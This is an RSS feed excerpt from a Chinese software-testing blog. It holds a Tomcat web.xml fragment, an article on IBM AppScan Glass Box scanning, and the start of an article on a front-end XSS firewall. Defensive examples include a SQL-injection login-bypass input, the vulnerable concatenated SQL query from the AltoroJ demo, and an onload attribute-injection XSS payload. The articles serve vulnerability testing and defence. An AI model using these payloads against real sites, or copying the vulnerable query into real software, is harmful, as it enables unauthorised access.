break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt; default1 &lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-class&gt; org.apache.catalina.servlets.DefaultServlet &lt;/servlet-class&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; debug &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; 0 &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; listings &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; false &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;load-on-startup&gt; 1 &lt;/load-on-startup&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-mapping&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt; default1 &lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;url-pattern&gt; / &lt;/url-pattern&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-mapping&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt; default1 &lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-class&gt; org.apache.catalina.servlets.DefaultServlet &lt;/servlet-class&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; debug &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; 0 &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-name&gt; listings &lt;/param-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;param-value&gt; false &lt;/param-value&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/init-param&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;load-on-startup&gt; 1 &lt;/load-on-startup&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-mapping&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt; default1 &lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;url-pattern&gt; / &lt;/url-pattern&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-mapping&gt;</div></td></tr></tbody></table></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/417062.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-08-18 10:11 <a href="http://www.blogjava.net/qileilove/archive/2014/08/18/417062.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IBM Security AppScan Glass Box：一种全新的漏洞扫描思想</title><link>http://www.blogjava.net/qileilove/archive/2014/08/05/416569.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Tue, 05 Aug 2014 01:55:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/08/05/416569.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/416569.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/08/05/416569.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/416569.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/416569.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Glass Box 是&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">IBM</strong></u></a>&nbsp;Security&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">AppScan</strong></u></a>&nbsp;Standard Edition（以下简称 AppScan）8.5 版本以后引进的一个新的组件，是对 AppScan 的一个比较大的改进。Glass Box 引进了运行时分析的技术，通过部署在服务器端的代理，在探索和<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>阶段搜集&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Web</strong></u></a>&nbsp;应用程序信息，并进行分析，进而反馈给 AppScan，使 AppScan 更有针对性的进行探索和扫描，提高了扫描的精确性，并有利于发现更多的漏洞。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Glass Box 并不仅仅是 AppScan 的一个新的特性，而是代表了一种全新的思想，将动态分析技术与传统的 AppScan&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">黑盒测试</strong></u></a>技术结合起来，对 Web 应用程序进行代码级别的分析，给出更精确的分析结果，从而更有效的帮助客户保护好自己的网站。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　前言</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Glass Box 是 IBM Security AppScan Standard Edition（以下简称 AppScan）8.5 版本以后引进的一个新的组件，是对 AppScan 的一个比较大的改进。Glass Box 引进了运行时分析的技术，通过部署在服务器端的代理，在探索和测试阶段搜集 Web 应用程序信息，并进行分析，进而反馈给 AppScan，使 AppScan 更有针对性的进行探索和扫描，提高了扫描的精确性，并有利于发现更多的漏洞。Glass Box 并不仅仅是 AppScan 的一个新的特性，而是代表了一种全新的思想，将动态分析技术与传统的 AppScan 黑盒测试技术结合起来，对 web 应用程序进行代码级别的分析，给出更精确的分析结果，从而更有效的帮助客户保护好自己的网站。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本文首先简单介绍了 AppScan Glass Box 的技术架构，然后介绍了在 AppScan 8.5 中 Glass Box 在&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>&nbsp;XP 下使用效果。Glass Box 支持 WebSphere、Tomcat、JBoss 等多种应用服务器，本文选择的 Web 服务器为大家常见的 Tomcat 7.0。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　技术架构</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Glass Box 可分为客户端和服务端。客户端又可分为 GlassAPI 和 Glass Box 引擎服务，GlassAPI 用于和服务器端通信，获取服务端返回的问题信息；Glass Box 引擎服务基于预定义的验证规则，对获取到的服务端进行分析，判断是否存在漏洞。服务端通过代理程序搜集服务器端信息，包括 Web 应用程序运行时信息（根据预定义的特征匹配规则）、源代码信息、配置文件信息、<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">操作系统</strong></u></a>信息、<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>信息和 Web 服务器信息等，并将搜集到的信息返回给客户端。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;">　　图 1. Glass Box 技术架构图</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;">　　<a href="http://www.51testing.com/batch.download.php?aid=47259" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/08/14982672_201408041150421tYRE.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">配置及使用</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　打开扫描配置面板，可对 Glass Box 进行配置。点击 Glass Box 面板中的添加按钮，可添加 Glass Box 代理程序。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;">　　图 2. Glass Box 代理程序定义</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;">　　<a href="http://www.51testing.com/batch.download.php?aid=47260" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/08/14982672_2014080411504226Ukj.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　代理程序的用户名和密码分别为安装 Glass Box 时设定的用户名和密码，如需要修改密码，可运行 AgentCredentials.bat &lt;username&gt; &lt;password&gt; ，或直接修改位于 GBootStrap\WEB-INF 目录下的 users.xml 文件，重启 Tomcat 后生效。用户可添加多个 Glass Box 代理程序，但 AppScan 同一时间只能使用其中的一个。添加代理程序成功后，可对 Glass Box 进行设置，选中"在探索阶段使用 glass box "，可发现更多的隐藏的 URL；选中"在测试阶段使用 glass box"，可发现更多的漏洞和提供更详细的漏洞信息。配置成功后，AppScan 右下角状态栏将显示"Glass box 扫描：已启用"。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Glass Box 配置成功后，需要对 Web 应用程序重新扫描。需要注意的是，由于 Glass Box 对 URL 的解析问题，扫描本地网站需要配置虚拟域名，即起始 URL 不能是&#8220;http://localhost/myproject&#8221;, 而应该是&#8220;http://mysite/myproject&#8221;。Glass Box 目前仅支持 Java 项目。本文所选用扫描网站是 IBM AppScan 开发人员提供的 AltoroJ 项目。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　通过对配置 Glass Box 前后的扫描结果进行分析，我们分析一下使用 Glass Box 的三个优势。为方便起见，本文采用默认的扫描配置（新建一个常规扫描，采用默认的扫描策略，对扫描配置的各项参数不做任何修改），并且没有对结果进行分析，排除误报的漏洞。每次扫描，结果可能会略有不同；若差别太大，则应该检查扫描配置信息，查看日志，找出问题所在。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1. 在探索阶段通过检测出代码中不可见的参数和 cookie 信息，探索隐藏的扫描路径，提高扫描覆盖率。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在应用程序中，有一些参数并未暴露给用户，即对用户是"不可见"的，传统的 AppScan 运行在客户端，并不能够检测到这些参数，更无法探索到相关的页面。 Glass Box 运行于探索阶段全过程，预定义一些"感兴趣"的方法（如 getParameter、Runtime.getRuntime().exec 等），并时刻检测这些方法是否运行，并进而探索出其中的参数，再根据这个参数构造扫描路径。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2. 在测试阶段，Glass Box 可增强 AppScan 在各种漏洞类型方面的检测。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Glass Box 通过搜集服务端信息，可减少误报率，增强 AppScan 对各种漏洞类型的检测，主要能够增强 AppScan 对注入攻击、不安全的直接对象引用、安全配置错误和不安全的加密存储等漏洞的检测。通过扫描 AltoroJ 项目可以发现，配置 Glass Box 前，共扫描出了 100 个漏洞；而配置 Glass Box 后，共扫描到了 139 个漏洞；Glass Box 增加了了大约 40% 的漏洞扫描发现数量。下表是按照 OWASP Top 10 漏洞分类方法，对使用 Glass Box 前后的扫描漏洞数量进行的对比。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　表 1. 使用 Glass Box 前后发现的漏洞数量对比</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=47261" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/08/14982672_201408041150423NlR1.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　有时候，Web 开发人员会屏蔽错误信息，比如设置一个错误页面，发生异常时直接跳转到该页面，AppScan 无法直接从 response 信息中判断是否存在漏洞。Glass Box 通过预定义的方法，搜集服务器端的信息，从而判断是否存在漏洞。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　通过扫描我们发现，未使用 Glass Box 前，AppScan 并未检测出用户登录页面的&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>&nbsp;注入漏洞（AppScan 可检测出各种类型的漏洞，未检测出该页面的 SQL 注入漏洞属于个别情况）。我们来分析一下原因。<br /><div style="word-break: break-all; margin: 10px 0px;">AppScan 在测试阶段，向登陆页面发送请求，我们假定 AppScan 将 Username 和 Password 均设置为"'"，服务器返回错误信息"Syntax error: Encountered "\'" at line 1, column 63. "。由于在 Response 中并未包含 SQL 异常信息，所以 AppScan 无法判断是否存在 SQL 注入漏洞。</div><div style="word-break: break-all; margin: 10px 0px;">　　图 3. 页面显示的错误信息</div><div style="word-break: break-all; margin: 10px 0px;">　<a href="http://www.51testing.com/batch.download.php?aid=47262" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/08/14982672_2014080411504242K4F.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; margin: 10px 0px;">　　但是如果我们写一个测试代码，可得知当我们输入单引号时，服务器端确实报了 SQL 语法错误信息，如图 4 所示。Glass Box 安装在服务器端，当它发现请求值为 g'[number]b，且包含了单引号的信息请求时，如果出现 SQL 异常错误信息，那么 Glass Box 便判断出该页面存在 SQL 注入漏洞。</div><div style="word-break: break-all; margin: 10px 0px;">　　图 4.SQL 异常信息</div><div style="word-break: break-all; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=47263" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/08/14982672_201408041150425BO8u.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; margin: 10px 0px;">　　3. 在生成报告阶段，可提供代码级的调试信息和修复建议</div><div style="word-break: break-all; margin: 10px 0px;">　　我们以 AltoroJ 项目的登陆页面为例，对比一下使用黑盒测试和使用 Glass Box 发现的漏洞的修复过程。AppScan 通过分别在 Username 和 Password 输入框中输入"4ppSc4n"和"A' OR '7659'='7659"，发现了该页面存在 SQL 注入漏洞（AppScan 中称之为"SQL 注入的认证旁路"）。我们根据"请求 / 响应"信息可以发现，该漏洞存在于 doLogin 这个 servlet 中，如图 5 所示。</div><div style="word-break: break-all; margin: 10px 0px;">　　图 5.AppScan &#8220;请求 / 响应&#8221;</div><div style="word-break: break-all; margin: 10px 0px;">　　<a href="http://www.51testing.com/batch.download.php?aid=47264" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/08/14982672_201408041150426Wt7o.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; margin: 10px 0px;">　　我们根据 WEB-IBF/web.xml 中的信息进一步判断出漏洞存在于 LoginServlet.java 文件中。</div><div style="word-break: break-all; margin: 10px 0px;">　　清单 1.web.xml 文件中的 LoginServlet 配置</div><div style="word-break: break-all; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 975px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-mapping&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt;LoginServlet&lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;url-pattern&gt;/doLogin&lt;/url-pattern&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/servlet-mapping&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;description&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/description&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;display-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">LoginServlet&lt;/display-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-name&gt;LoginServlet&lt;/servlet-name&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;servlet-class&gt;</div><div style="word-break: break-all; margin: 10px 0px;">com.ibm.rational.appscan.altoromutual.servlet.LoginServlet</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/servlet-class&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/servlet&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; margin: 10px 0px;">　　打开 LoginServlet.java 文件，我们依然很难一眼就判断出漏洞的准确位置，需要对代码做进一步的分析。经过分析，找到存在漏洞的语句：</div><div style="word-break: break-all; margin: 10px 0px;">　　清单 2. LoginServlet.java 文件中存在漏洞的语句</div><div style="word-break: break-all; margin: 10px 0px;">　　if (!DBUtil.isValidUser(username, password))</div><div style="word-break: break-all; margin: 10px 0px;">　　然后，我们再找到 DBUtil 类中的 isValidUser 函数，最终找到了存在漏洞的 sql 语句：</div><div style="word-break: break-all; margin: 10px 0px;">　　清单 3. 存在漏洞的 SQL 语句</div><div style="word-break: break-all; margin: 10px 0px;">　　ResultSet resultSet = statement.executeQuery("SELECT COUNT(*)FROM PEOPLE WHERE USER_ID</div><div style="word-break: break-all; margin: 10px 0px;">　　= '"+ user +"' AND PASSWORD='" + password + "'");</div><div style="word-break: break-all; margin: 10px 0px;">　　/* BAD - user input should always be sanitized */</div><div style="word-break: break-all; margin: 10px 0px;">　　虽然有时候对于经验丰富的开发者来说，对于逻辑简单程序能够直接定位到某个 java 文件，省去一些步骤，但是大部分情况下，我们都需要一步步的去分析。而对于 Glass Box 发现的漏洞，则可以大大节省开发人员定位代码漏洞的时间。Glass Box 可报告出漏洞的具体位置信息，如方法名、类名、文件名和行号等信息；并可报告运行时信息。如图 6 所示。</div><div style="word-break: break-all; margin: 10px 0px;">　　图 6. Glass Box 问题信息</div><div style="word-break: break-all; margin: 10px 0px;">　<a href="http://www.51testing.com/batch.download.php?aid=47265" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/08/14982672_201408041150427bsw5.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">总结</strong></div><div style="word-break: break-all; margin: 10px 0px;">　　黑盒测试技术由于无法获取应用程序的内部信息，导致扫描覆盖率偏低，且无法提供详细的调试信息；而白盒测试技术的代价过于高昂，需要大量的人工成本，且误报率较高。而 Glass Box 是有别于传统黑盒测试和白盒测试的一种混合测试技术，将有效解决这一难题，为客户创造更好的价值。</div></div><img src ="http://www.blogjava.net/qileilove/aggbug/416569.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-08-05 09:55 <a href="http://www.blogjava.net/qileilove/archive/2014/08/05/416569.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>XSS 前端防火墙—内联事件拦截</title><link>http://www.blogjava.net/qileilove/archive/2014/07/09/415629.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 09 Jul 2014 08:01:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/07/09/415629.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/415629.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/07/09/415629.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/415629.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/415629.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　关于&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">XSS</strong></u></a>&nbsp;怎样形成、如何注入、能做什么、如何防范，前人已有无数的探讨，这里就不再累述了。本文介绍的则是另一种预防思路。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　几乎每篇谈论 XSS 的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>，结尾多少都会提到如何防止，然而大多万变不离其宗。要转义什么，要过滤什么，不要忘了什么之类的。尽管都是众所周知的道理，但 XSS 漏洞十几年来几乎从未中断过，不乏一些大网站也时常爆出，小网站更是家常便饭。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　预警系统</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　事实上，至今仍未有一劳永逸的解决方案，要避免它依旧使用最古老的土办法，逐个的过滤。然而人总有疏忽的时候，每当产品迭代更新时，难免会遗漏一些新字段，导致漏洞被引入。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　即使圣人千虑也有一失，程序出 BUG 完全可以理解，及时修复就行。但令人费解的是，问题出现到被发现，却要经过相当长的时间。例如不久前贴吧 XSS 蠕虫脚本，直到大规模爆发后经用户举报，最终才得知。其他网站大多也类似，直到白帽子们挖掘出漏洞，提交到安全平台上，最终厂商才被告知。若遇到黑客私下留着这些漏洞慢慢利用，那只能听天由命了。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　因此，要是能有一套实时的预警系统，那就更好了。即使无法阻止漏洞的发生，但能在漏洞触发的第一时间里，通知开发人员，即可在最短的时间里修复，将损失降到最低。各式各样的应用层防火墙，也由此产生。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　不过，和传统的系统漏洞不同，XSS 最终是在用户页面中触发的。因此，我们不妨尝试使用前端的思路，进行在线防御。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　DOM 储存型 XSS</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　先来假设一个有 BUG 的后台，没有很好处理用户输入的数据，导致 XSS 能被注入到页面：</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&lt;img src="{路径}" /&gt;</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　&lt;img src="{路径" onload="alert(/xss/)}" /&gt;</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　只转义尖括号，却忘了引号，是 XSS 里最为常见的。攻击者们可以提前关闭属性，并添加一个极易触发的内联事件，跨站脚本就这样被轻易执行了。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　那么，我们能否使用前端脚本来捕获，甚至拦截呢？</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">被动扫描</strong></div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　最简单的办法，就是把页面里所有元素都扫描一遍，检测那些 on 开头的内联属性，看看是不是存在异常：</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　例如字符数非常多，正常情况下这是很少出现的，但 XSS 为了躲避转义有时会编码的很长；例如出现一些 XSS 经常使用的关键字，但在实际产品里几乎不会用到的。这些都可以作为漏洞出现的征兆，通知给开发人员。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　不过，土办法终究存在很大的局限性。在如今清一色的 AJAX 时代，页面元素从来都不是固定的。伴随着用户各种交互，新内容随时都可能动态添加进来。即使换成定期扫描一次，XSS 也可能在定时器的间隔中触发，并销毁自己，那样永远都无法跟踪到了。况且，频繁的扫描对性能影响也是巨大的。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　如同早期的安全软件一样，每隔几秒扫描一次注册表启动项，不仅费性能，而且对恶意软件几乎不起作用；但之后的主动防御系统就不同了，只有在真正调用 API 时才进行分析，不通过则直接拦截，完全避免了定时器的间隔遗漏。</div><div style="word-break: break-all; line-height: 21.600000381469727px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　因此，我们需要这种类似的延时策略 &#8212;&#8212; 仅在 XSS 